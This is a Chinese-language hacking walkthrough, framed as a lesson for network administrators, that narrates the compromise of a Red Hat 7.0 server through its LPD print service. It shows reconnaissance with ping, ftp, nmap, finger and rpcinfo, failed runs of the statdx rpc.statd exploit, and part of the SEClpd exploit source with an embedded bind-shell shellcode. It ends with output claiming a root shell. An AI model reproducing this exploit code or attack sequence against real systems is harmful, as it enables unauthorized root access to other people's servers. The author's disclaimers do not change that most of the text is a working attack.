Linux就這樣被黑客入侵
此文的目的不在于教人入侵,而是為了提高自身的技術(shù)和加強(qiáng)網(wǎng)絡(luò)管理員的安全防范意識(shí)。僅此而已!粗心大意的網(wǎng)絡(luò)管理員應(yīng)該明白:由于你們一個(gè)小小的操作失誤可能會(huì)導(dǎo)致整個(gè)網(wǎng)絡(luò)全面淪陷!本文主要是圍繞LPD:網(wǎng)絡(luò)打印服務(wù)的攻擊而進(jìn)行的。
首先確定目標(biāo),假設(shè)是:www.XXX.com
先讓俺看看是不是連得上:
- 以下是引用片段:
 - C:\ping www.XXX.com
 - Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
 - Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
 - Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
 - Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
 - Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
 - Ping statistics for 202.106.184.200:
 - Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
 - Approximate round trip times in milli-seconds:
 - Minimum = 511ms, Maximum = 651ms, Average = 580ms
 - 嘻嘻—不但連得上,速度還不錯(cuò)……
 - 先telnet看看banner:
 - C:\>telnet www.XXX.com
 
遺失對(duì)主機(jī)的連接。
再試試ftp,
- 以下是引用片段:
 - C:\>ftp www.XXX.com
 - Connected to www.fbi.gov.tw.
 - 220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
 - User (www.XXX.com:(none)):
 
- 以下是引用片段:
 - C:\>telnet xxx.xxx.xxx.xxx
 - Red Hat Linux release 7.0 (Guinness)
 - Kernel 2.2.16-22smp on an i686
 - login: fetdog
 - Password:
 - bash-2.04$
 
       拿nmap掃描器,看看其中的奧妙~~~
 
- 以下是引用片段:
 - bash-2.04$nmap -sT -O www.XXX.com
 - Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
 - WARNING! The following files exist and are readable: /usr/local/sha
 - -services and ./nmap-services. I am choosing /usr/local/share/nmap/
 - s for security reasons. set NMAPDIR=. to give priority to files in
 - irectory
 - Interesting ports on (www.XXX.com):
 - (The 1520 ports scanned but not shown below are in state: closed)
 - Port State Service
 - 25/tcp open smtp
 - 79/tcp open finger
 - 80/tcp open http
 - 111/tcp open sunrpc
 - 113/tcp open auth
 - 443/tcp open https
 - 513/tcp open login
 - 514/tcp open shell
 - 515/tcp open printer
 - 587/tcp open submission
 - 1024/tcp open kdm
 - TCP Sequence Prediction: Class=random positive increments
 - Difficulty=3247917 (Good luck!)
 - Remote operating system guess: Linux 2.1.122 - 2.2.16
 - Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
 
       打開的端口還挺多,這意味著入侵的可能性增加。79/tcp open finger ,先看看這個(gè),不過linux沒有finger用戶列表這個(gè)漏洞。
 
#p#
 
- 以下是引用片段:
 - bash-2.04$finger @www.XXX.com
 - [www.XXX.com]
 - No one logged on.
 
再看看111/tcp open sunrpc 。近來rpc漏洞風(fēng)行,不知道RH7這個(gè)東東會(huì)不會(huì)有?先看看再說!
- 以下是引用片段:
 - bash-2.04$rpcinfo -p www.XXX.com
 - program vers proto port service
 - 100000 2 tcp 111 rpcbind
 - 100000 2 udp 111 rpcbind
 - 100021 1 udp 1024 nlockmgr
 - 100021 3 udp 1024 nlockmgr
 - 100024 1 udp 1025 status
 - 100024 1 tcp 1024 status
 
看來有rpc.statd服務(wù)。來看看能不能遠(yuǎn)程溢出拿個(gè)rootshell。
- 以下是引用片段:
 - bash-2.04$./statdx -h
 - statdx by ron1n
 - Usage: stat [-t] [-p port] [-a addr] [-l len]
 - [-o offset] [-w num] [-s secs] [-d type]
 - -t attack a tcp dispatcher [udp]
 - -p rpc.statd serves requests on [query]
 - -a the stack address of the buffer is
 - -l the length of the buffer is [1024]
 - -o the offset to return to is [600]
 - -w the number of dwords to wipe is [9]
 - -s set timeout in seconds to [5]
 - -d use a hardcoded
 - Available types:
 - 0 Redhat 6.2 (nfs-utils-0.1.6-2)
 - 1 Redhat 6.1 (knfsd-1.4.7-7)
 - 2 Redhat 6.0 (knfsd-1.2.2-4)
 - 看來并不支持RH7。還是繼續(xù)嘗試,把0-2全部試試看再說!start……
 - bash-2.04$stat -d 0 www.XXX.com
 - buffer: 0xbffff314 length: 999 (+str/+nul)
 - target: 0xbffff718 new: 0xbffff56c (offset: 600)
 - wiping 9 dwords
 - Failed - statd returned res_stat: (failure) state: 21
 - 受挫,再試……
 - bash-2.04$stat -d 1 www.XXX.com
 - buffer: 0xbffff314 length: 999 (+str/+nul)
 - target: 0xbffff718 new: 0xbffff56c (offset: 600)
 - wiping 9 dwords
 - Failed - statd returned res_stat: (failure) state: 21
 
      一樣``繼續(xù)
      #p#
- 以下是引用片段:
 - bash-2.04$stat -d 1 www.XXX.com
 - buffer: 0xbffff314 length: 999 (+str/+nul)
 - target: 0xbffff718 new: 0xbffff56c (offset: 600)
 - wiping 9 dwords
 - Failed - statd returned res_stat: (failure) state: 21
 
rpc.statd行不通,想想RH7應(yīng)該有個(gè)遠(yuǎn)程溢出,好像是lp服務(wù)造成的。“seclpd.c”應(yīng)該是這個(gè)東東了。
—————以下代碼僅供教學(xué)使用,決不能用來進(jìn)行惡意攻擊—————
- 以下是引用片段:
 - /*
 - * Welcome to http://hlc.cnroot.com/
 - * Run: ./SEClpd victim brute -t type
 - * Try first ./SEClpd victim -t 0 then try the brute.
 - */
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #include
 - #define ADDRESS_BUFFER_SIZE 32+4
 - #define APPEND_BUFFER_SIZE 52
 - #define FORMAT_LENGTH 512-8
 - #define NOPCOUNT 200
 - #define SHELLCODE_COUNT 1030
 - #define DELAY 50000 /* usecs */
 - #define OFFSET_LIMIT 5000
 - char shellcode[] =
 - "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
 - "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
 - "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
 - "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
 - "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
 - "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
 - "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
 - "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
 - "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
 
       brute暴力破解。等上5-8分鐘左右,結(jié)果出來了。
 
- 以下是引用片段:
 - - [+] shell located on www.XXX.com
 - - [+] Enter Commands at will
 - Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
 - uid=0(root) gid=7(lp)
 
uid=0(root權(quán)限),現(xiàn)在可以近一步入侵!但不要做壞事!
看了上文我們知道黑客主要是圍繞LPD:網(wǎng)絡(luò)打印服務(wù)的攻擊而進(jìn)行的。再提醒一句本文目的不在于教你如何入侵linux,而是希望以后大家加強(qiáng)安全,有一定的網(wǎng)絡(luò)安全防范意識(shí)。
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